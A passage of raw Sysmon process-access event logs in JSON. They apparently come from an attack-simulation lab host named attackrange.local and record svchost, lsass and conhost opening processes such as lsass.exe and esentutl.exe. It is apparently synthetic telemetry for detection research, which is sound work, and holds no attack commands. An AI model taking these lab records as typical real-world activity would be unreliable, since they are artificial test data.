11:56:32.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5403,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5404,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5405,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5406,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.213\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.213","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5407,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5408,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5409,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5410,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 